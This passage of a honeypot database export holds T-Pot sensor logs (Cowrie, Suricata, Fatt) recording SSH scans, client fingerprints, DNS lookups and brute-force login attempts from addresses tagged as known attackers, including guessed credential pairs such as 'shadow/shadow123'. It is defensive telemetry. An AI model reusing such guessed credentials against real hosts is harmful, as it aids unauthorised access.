"flow_id": 656217137257696, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2373, "dest_port": 22, "timestamp": "2021-09-20T11:49:48.897931Z", "@timestamp": "2021-09-20T11:49:48.897Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
32121	110.137.195.172	109.199.241.180	Fatt	2021-09-20 14:49:48.898118+03	2021-09-20 15:00:03.070717+03	{"_id": "ZgYKA3wBvYTbRNuEdUjM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2373, "dest_port": 22, "timestamp": "2021-09-20T11:49:48.898118", "@timestamp": "2021-09-20T11:49:48.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32122	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:49:49.540009+03	2021-09-20 15:00:03.071718+03	{"_id": "cAYKA3wBvYTbRNuEeEiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59666, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3285, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1107768523961855, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 58985, "timestamp": "2021-09-20T11:49:49.540009Z", "@timestamp": "2021-09-20T11:49:49.540Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32123	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:49:49.538111+03	2021-09-20 15:00:03.073716+03	{"_id": "cQYKA3wBvYTbRNuEeEiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59666, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1107768523961855, "@version": "1", "in_iface": "enp5s0", "src_port": 58985, "dest_port": 53, "timestamp": "2021-09-20T11:49:49.538111Z", "@timestamp": "2021-09-20T11:49:49.538Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32124	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:49:49.652128+03	2021-09-20 15:00:03.074717+03	{"_id": "dAYKA3wBvYTbRNuEeUi1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35726, "timestamp": "2021-09-20T11:49:49.652128", "@timestamp": "2021-09-20T11:49:49.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32125	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:49:49.893914+03	2021-09-20 15:00:03.075717+03	{"_id": "hgYKA3wBvYTbRNuEe0gP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.login.failed", "message": "login attempt [sometimes/sometimes] failed", "session": "4e021f97b301", "@version": "1", "password": "sometimes", "username": "sometimes", "timestamp": "2021-09-20T11:49:49.893914Z", "@timestamp": "2021-09-20T11:49:49.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
32126	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:03.316176+03	2021-09-20 15:00:03.076717+03	{"_id": "qQYKA3wBvYTbRNuErUje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:60684 (192.168.176.2:22) [session: 78144d271630]", "session": "78144d271630", "@version": "1", "protocol": "ssh", "src_port": 60684, "dest_port": 22, "timestamp": "2021-09-20T11:50:03.316176Z", "@timestamp": "2021-09-20T11:50:03.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32127	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:03.605154+03	2021-09-20 15:00:03.078717+03	{"_id": "qgYKA3wBvYTbRNuErUje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:03.605154Z", "@timestamp": "2021-09-20T11:50:03.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32128	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:50:03.599827+03	2021-09-20 15:00:03.079717+03	{"_id": "qwYKA3wBvYTbRNuEr0hn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 1734863814895172, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60684, "dest_port": 22, "timestamp": "2021-09-20T11:50:03.599827Z", "@timestamp": "2021-09-20T11:50:03.599Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32129	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:50:07.676542+03	2021-09-20 15:00:03.080716+03	{"_id": "wgYKA3wBvYTbRNuEvUh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:56914 (192.168.176.2:22) [session: 317315c1520a]", "session": "317315c1520a", "@version": "1", "protocol": "ssh", "src_port": 56914, "dest_port": 22, "timestamp": "2021-09-20T11:50:07.676542Z", "@timestamp": "2021-09-20T11:50:07.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32130	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:07.799324+03	2021-09-20 15:00:03.081718+03	{"_id": "wwYKA3wBvYTbRNuEvUh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8f4b886f1ba2", "@version": "1", "duration": 2.5057854652404785, "timestamp": "2021-09-20T11:50:07.799324Z", "@timestamp": "2021-09-20T11:50:07.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32131	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:50:07.853956+03	2021-09-20 15:00:03.083716+03	{"_id": "xAYKA3wBvYTbRNuEvUh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "317315c1520a", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:50:07.853956Z", "@timestamp": "2021-09-20T11:50:07.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32132	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:50:07.853668+03	2021-09-20 15:00:03.084718+03	{"_id": "xQYKA3wBvYTbRNuEv0gJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 438513836206843, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56914, "dest_port": 22, "timestamp": "2021-09-20T11:50:07.853668Z", "@timestamp": "2021-09-20T11:50:07.853Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32154	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:49:50.795871+03	2021-09-20 15:00:03.112716+03	{"_id": "iQYKA3wBvYTbRNuEfUie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59400, "dest_port": 22, "timestamp": "2021-09-20T11:49:50.795871", "@timestamp": "2021-09-20T11:49:50.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32133	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:50:08.028472+03	2021-09-20 15:00:03.085717+03	{"_id": "yAYKA3wBvYTbRNuEwEgP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 56914, "dest_port": 22, "timestamp": "2021-09-20T11:50:08.028472", "@timestamp": "2021-09-20T11:50:08.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32134	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:04.928093+03	2021-09-20 15:00:03.087716+03	{"_id": "tgYKA3wBvYTbRNuEtUiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.success", "message": "login attempt [shadow/shadow123] succeeded", "session": "78144d271630", "@version": "1", "password": "shadow123", "username": "shadow", "timestamp": "2021-09-20T11:50:04.928093Z", "@timestamp": "2021-09-20T11:50:04.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
32135	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:05.291027+03	2021-09-20 15:00:03.088716+03	{"_id": "twYKA3wBvYTbRNuEtUiw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:60912 (192.168.176.2:22) [session: 8f4b886f1ba2]", "session": "8f4b886f1ba2", "@version": "1", "protocol": "ssh", "src_port": 60912, "dest_port": 22, "timestamp": "2021-09-20T11:50:05.291027Z", "@timestamp": "2021-09-20T11:50:05.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32136	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:05.293897+03	2021-09-20 15:00:03.089716+03	{"_id": "uAYKA3wBvYTbRNuEtUiw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8f4b886f1ba2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:05.293897Z", "@timestamp": "2021-09-20T11:50:05.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32137	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:05.603797+03	2021-09-20 15:00:03.090716+03	{"_id": "uQYKA3wBvYTbRNuEtUiw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": 